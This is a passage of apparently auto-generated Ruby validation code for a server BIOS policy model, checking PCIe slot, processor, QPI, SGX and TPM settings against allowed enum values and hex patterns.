pcie_slot_nvme4option_rom_validator.valid?(@pcie_slot_nvme4option_rom)\n pcie_slot_nvme5link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless pcie_slot_nvme5link_speed_validator.valid?(@pcie_slot_nvme5link_speed)\n pcie_slot_nvme5option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_nvme5option_rom_validator.valid?(@pcie_slot_nvme5option_rom)\n pcie_slot_nvme6link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless pcie_slot_nvme6link_speed_validator.valid?(@pcie_slot_nvme6link_speed)\n pcie_slot_nvme6option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slot_nvme6option_rom_validator.valid?(@pcie_slot_nvme6option_rom)\n pcie_slots_cdn_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pcie_slots_cdn_enable_validator.valid?(@pcie_slots_cdn_enable)\n pop_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless pop_support_validator.valid?(@pop_support)\n post_error_pause_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless post_error_pause_validator.valid?(@post_error_pause)\n post_package_repair_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Disabled\", \"Hard PPR\"])\n return false unless post_package_repair_validator.valid?(@post_package_repair)\n processor_c1e_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless processor_c1e_validator.valid?(@processor_c1e)\n processor_c3report_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless processor_c3report_validator.valid?(@processor_c3report)\n processor_c6report_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless processor_c6report_validator.valid?(@processor_c6report)\n processor_cstate_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless processor_cstate_validator.valid?(@processor_cstate)\n psata_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"AHCI\", \"Disabled\", \"LSI SW RAID\"])\n return false unless psata_validator.valid?(@psata)\n pstate_coord_type_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"HW ALL\", \"SW ALL\", \"SW ANY\"])\n return false unless pstate_coord_type_validator.valid?(@pstate_coord_type)\n putty_key_pad_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"ESCN\", \"LINUX\", \"SCO\", \"VT100\", \"VT400\", \"XTERMR6\"])\n return false unless putty_key_pad_validator.valid?(@putty_key_pad)\n pwr_perf_tuning_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"bios\", \"os\", \"peci\"])\n return false unless pwr_perf_tuning_validator.valid?(@pwr_perf_tuning)\n qpi_link_frequency_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"6.4-gt/s\", \"7.2-gt/s\", \"8.0-gt/s\", \"9.6-gt/s\", \"auto\"])\n return false unless qpi_link_frequency_validator.valid?(@qpi_link_frequency)\n qpi_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"10.4GT/s\", \"11.2GT/s\", \"9.6GT/s\", \"Auto\"])\n return false unless qpi_link_speed_validator.valid?(@qpi_link_speed)\n qpi_snoop_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"auto\", \"cluster-on-die\", \"early-snoop\", \"home-directory-snoop\", \"home-directory-snoop-with-osb\", \"home-snoop\"])\n return false unless qpi_snoop_mode_validator.valid?(@qpi_snoop_mode)\n rank_inter_leave_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1-way\", \"2-way\", \"4-way\", \"8-way\", \"auto\"])\n return false unless rank_inter_leave_validator.valid?(@rank_inter_leave)\n redirection_after_post_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Always Enable\", \"Bootloader\"])\n return false unless redirection_after_post_validator.valid?(@redirection_after_post)\n sata_mode_select_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"AHCI\", \"Disabled\", \"LSI SW RAID\"])\n return false unless sata_mode_select_validator.valid?(@sata_mode_select)\n select_memory_ras_configuration_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"adddc-sparing\", \"lockstep\", \"maximum-performance\", \"mirror-mode-1lm\", \"mirroring\", \"partial-mirror-mode-1lm\", \"sparing\"])\n return false unless select_memory_ras_configuration_validator.valid?(@select_memory_ras_configuration)\n select_ppr_type_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"Hard PPR\", \"Soft PPR\"])\n return false unless select_ppr_type_validator.valid?(@select_ppr_type)\n serial_port_aenable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless serial_port_aenable_validator.valid?(@serial_port_aenable)\n sev_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"253 ASIDs\", \"509 ASIDs\", \"Auto\"])\n return false unless sev_validator.valid?(@sev)\n sgx_auto_registration_agent_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sgx_auto_registration_agent_validator.valid?(@sgx_auto_registration_agent)\n return false if !@sgx_epoch0.nil? && @sgx_epoch0 !~ Regexp.new(/^([0-9a-fA-F]{1,16})$|^(platform-default)$/)\n return false if !@sgx_epoch1.nil? && @sgx_epoch1 !~ Regexp.new(/^([0-9a-fA-F]{1,16})$|^(platform-default)$/)\n sgx_factory_reset_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sgx_factory_reset_validator.valid?(@sgx_factory_reset)\n return false if !@sgx_le_pub_key_hash0.nil? && @sgx_le_pub_key_hash0 !~ Regexp.new(/^([0-9a-fA-F]{1,16})$|^(platform-default)$/)\n return false if !@sgx_le_pub_key_hash1.nil? && @sgx_le_pub_key_hash1 !~ Regexp.new(/^([0-9a-fA-F]{1,16})$|^(platform-default)$/)\n return false if !@sgx_le_pub_key_hash2.nil? && @sgx_le_pub_key_hash2 !~ Regexp.new(/^([0-9a-fA-F]{1,16})$|^(platform-default)$/)\n return false if !@sgx_le_pub_key_hash3.nil? && @sgx_le_pub_key_hash3 !~ Regexp.new(/^([0-9a-fA-F]{1,16})$|^(platform-default)$/)\n sgx_le_wr_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sgx_le_wr_validator.valid?(@sgx_le_wr)\n sgx_package_info_in_band_access_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sgx_package_info_in_band_access_validator.valid?(@sgx_package_info_in_band_access)\n sgx_qos_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sgx_qos_validator.valid?(@sgx_qos)\n sha1pcr_bank_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sha1pcr_bank_validator.valid?(@sha1pcr_bank)\n sha256pcr_bank_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sha256pcr_bank_validator.valid?(@sha256pcr_bank)\n single_pctl_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"No\", \"Yes\"])\n return false unless single_pctl_enable_validator.valid?(@single_pctl_enable)\n slot10link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot10link_speed_validator.valid?(@slot10link_speed)\n slot10state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot10state_validator.valid?(@slot10state)\n slot11link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot11link_speed_validator.valid?(@slot11link_speed)\n slot11state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot11state_validator.valid?(@slot11state)\n slot12link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot12link_speed_validator.valid?(@slot12link_speed)\n slot12state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot12state_validator.valid?(@slot12state)\n slot13state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot13state_validator.valid?(@slot13state)\n slot14state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot14state_validator.valid?(@slot14state)\n slot1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot1link_speed_validator.valid?(@slot1link_speed)\n slot1state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot1state_validator.valid?(@slot1state)\n slot2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot2link_speed_validator.valid?(@slot2link_speed)\n slot2state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot2state_validator.valid?(@slot2state)\n slot3link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot3link_speed_validator.valid?(@slot3link_speed)\n slot3state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot3state_validator.valid?(@slot3state)\n slot4link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot4link_speed_validator.valid?(@slot4link_speed)\n slot4state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot4state_validator.valid?(@slot4state)\n slot5link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot5link_speed_validator.valid?(@slot5link_speed)\n slot5state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot5state_validator.valid?(@slot5state)\n slot6link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot6link_speed_validator.valid?(@slot6link_speed)\n slot6state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot6state_validator.valid?(@slot6state)\n slot7link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot7link_speed_validator.valid?(@slot7link_speed)\n slot7state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot7state_validator.valid?(@slot7state)\n slot8link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot8link_speed_validator.valid?(@slot8link_speed)\n slot8state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot8state_validator.valid?(@slot8state)\n slot9link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot9link_speed_validator.valid?(@slot9link_speed)\n slot9state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot9state_validator.valid?(@slot9state)\n slot_flom_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_flom_link_speed_validator.valid?(@slot_flom_link_speed)\n slot_front_nvme10link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme10link_speed_validator.valid?(@slot_front_nvme10link_speed)\n slot_front_nvme10option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme10option_rom_validator.valid?(@slot_front_nvme10option_rom)\n slot_front_nvme11link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme11link_speed_validator.valid?(@slot_front_nvme11link_speed)\n slot_front_nvme11option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme11option_rom_validator.valid?(@slot_front_nvme11option_rom)\n slot_front_nvme12link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme12link_speed_validator.valid?(@slot_front_nvme12link_speed)\n slot_front_nvme12option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme12option_rom_validator.valid?(@slot_front_nvme12option_rom)\n slot_front_nvme13option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme13option_rom_validator.valid?(@slot_front_nvme13option_rom)\n slot_front_nvme14option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme14option_rom_validator.valid?(@slot_front_nvme14option_rom)\n slot_front_nvme15option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme15option_rom_validator.valid?(@slot_front_nvme15option_rom)\n slot_front_nvme16option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme16option_rom_validator.valid?(@slot_front_nvme16option_rom)\n slot_front_nvme17option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme17option_rom_validator.valid?(@slot_front_nvme17option_rom)\n slot_front_nvme18option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme18option_rom_validator.valid?(@slot_front_nvme18option_rom)\n slot_front_nvme19option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme19option_rom_validator.valid?(@slot_front_nvme19option_rom)\n slot_front_nvme1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme1link_speed_validator.valid?(@slot_front_nvme1link_speed)\n slot_front_nvme1option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme1option_rom_validator.valid?(@slot_front_nvme1option_rom)\n slot_front_nvme20option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme20option_rom_validator.valid?(@slot_front_nvme20option_rom)\n slot_front_nvme21option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme21option_rom_validator.valid?(@slot_front_nvme21option_rom)\n slot_front_nvme22option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme22option_rom_validator.valid?(@slot_front_nvme22option_rom)\n slot_front_nvme23option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme23option_rom_validator.valid?(@slot_front_nvme23option_rom)\n slot_front_nvme24option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme24option_rom_validator.valid?(@slot_front_nvme24option_rom)\n slot_front_nvme2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme2link_speed_validator.valid?(@slot_front_nvme2link_speed)\n slot_front_nvme2option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme2option_rom_validator.valid?(@slot_front_nvme2option_rom)\n slot_front_nvme3link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme3link_speed_validator.valid?(@slot_front_nvme3link_speed)\n slot_front_nvme3option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme3option_rom_validator.valid?(@slot_front_nvme3option_rom)\n slot_front_nvme4link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme4link_speed_validator.valid?(@slot_front_nvme4link_speed)\n slot_front_nvme4option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme4option_rom_validator.valid?(@slot_front_nvme4option_rom)\n slot_front_nvme5link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme5link_speed_validator.valid?(@slot_front_nvme5link_speed)\n slot_front_nvme5option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme5option_rom_validator.valid?(@slot_front_nvme5option_rom)\n slot_front_nvme6link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme6link_speed_validator.valid?(@slot_front_nvme6link_speed)\n slot_front_nvme6option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme6option_rom_validator.valid?(@slot_front_nvme6option_rom)\n slot_front_nvme7link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme7link_speed_validator.valid?(@slot_front_nvme7link_speed)\n slot_front_nvme7option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme7option_rom_validator.valid?(@slot_front_nvme7option_rom)\n slot_front_nvme8link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme8link_speed_validator.valid?(@slot_front_nvme8link_speed)\n slot_front_nvme8option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme8option_rom_validator.valid?(@slot_front_nvme8option_rom)\n slot_front_nvme9link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_front_nvme9link_speed_validator.valid?(@slot_front_nvme9link_speed)\n slot_front_nvme9option_rom_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_front_nvme9option_rom_validator.valid?(@slot_front_nvme9option_rom)\n slot_front_slot5link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_front_slot5link_speed_validator.valid?(@slot_front_slot5link_speed)\n slot_front_slot6link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_front_slot6link_speed_validator.valid?(@slot_front_slot6link_speed)\n slot_gpu1state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu1state_validator.valid?(@slot_gpu1state)\n slot_gpu2state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu2state_validator.valid?(@slot_gpu2state)\n slot_gpu3state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu3state_validator.valid?(@slot_gpu3state)\n slot_gpu4state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu4state_validator.valid?(@slot_gpu4state)\n slot_gpu5state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu5state_validator.valid?(@slot_gpu5state)\n slot_gpu6state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu6state_validator.valid?(@slot_gpu6state)\n slot_gpu7state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu7state_validator.valid?(@slot_gpu7state)\n slot_gpu8state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_gpu8state_validator.valid?(@slot_gpu8state)\n slot_hba_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_hba_link_speed_validator.valid?(@slot_hba_link_speed)\n slot_hba_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot_hba_state_validator.valid?(@slot_hba_state)\n slot_lom1link_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_lom1link_validator.valid?(@slot_lom1link)\n slot_lom2link_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_lom2link_validator.valid?(@slot_lom2link)\n slot_mezz_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot_mezz_state_validator.valid?(@slot_mezz_state)\n slot_mlom_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_mlom_link_speed_validator.valid?(@slot_mlom_link_speed)\n slot_mlom_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot_mlom_state_validator.valid?(@slot_mlom_state)\n slot_mraid_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_mraid_link_speed_validator.valid?(@slot_mraid_link_speed)\n slot_mraid_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_mraid_state_validator.valid?(@slot_mraid_state)\n slot_n10state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n10state_validator.valid?(@slot_n10state)\n slot_n11state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n11state_validator.valid?(@slot_n11state)\n slot_n12state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n12state_validator.valid?(@slot_n12state)\n slot_n13state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n13state_validator.valid?(@slot_n13state)\n slot_n14state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n14state_validator.valid?(@slot_n14state)\n slot_n15state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n15state_validator.valid?(@slot_n15state)\n slot_n16state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n16state_validator.valid?(@slot_n16state)\n slot_n17state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n17state_validator.valid?(@slot_n17state)\n slot_n18state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n18state_validator.valid?(@slot_n18state)\n slot_n19state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n19state_validator.valid?(@slot_n19state)\n slot_n1state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot_n1state_validator.valid?(@slot_n1state)\n slot_n20state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n20state_validator.valid?(@slot_n20state)\n slot_n21state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n21state_validator.valid?(@slot_n21state)\n slot_n22state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n22state_validator.valid?(@slot_n22state)\n slot_n23state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n23state_validator.valid?(@slot_n23state)\n slot_n24state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n24state_validator.valid?(@slot_n24state)\n slot_n2state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot_n2state_validator.valid?(@slot_n2state)\n slot_n3state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n3state_validator.valid?(@slot_n3state)\n slot_n4state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n4state_validator.valid?(@slot_n4state)\n slot_n5state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n5state_validator.valid?(@slot_n5state)\n slot_n6state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n6state_validator.valid?(@slot_n6state)\n slot_n7state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n7state_validator.valid?(@slot_n7state)\n slot_n8state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n8state_validator.valid?(@slot_n8state)\n slot_n9state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_n9state_validator.valid?(@slot_n9state)\n slot_raid_link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_raid_link_speed_validator.valid?(@slot_raid_link_speed)\n slot_raid_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_raid_state_validator.valid?(@slot_raid_state)\n slot_rear_nvme1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_rear_nvme1link_speed_validator.valid?(@slot_rear_nvme1link_speed)\n slot_rear_nvme1state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme1state_validator.valid?(@slot_rear_nvme1state)\n slot_rear_nvme2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_rear_nvme2link_speed_validator.valid?(@slot_rear_nvme2link_speed)\n slot_rear_nvme2state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme2state_validator.valid?(@slot_rear_nvme2state)\n slot_rear_nvme3link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", 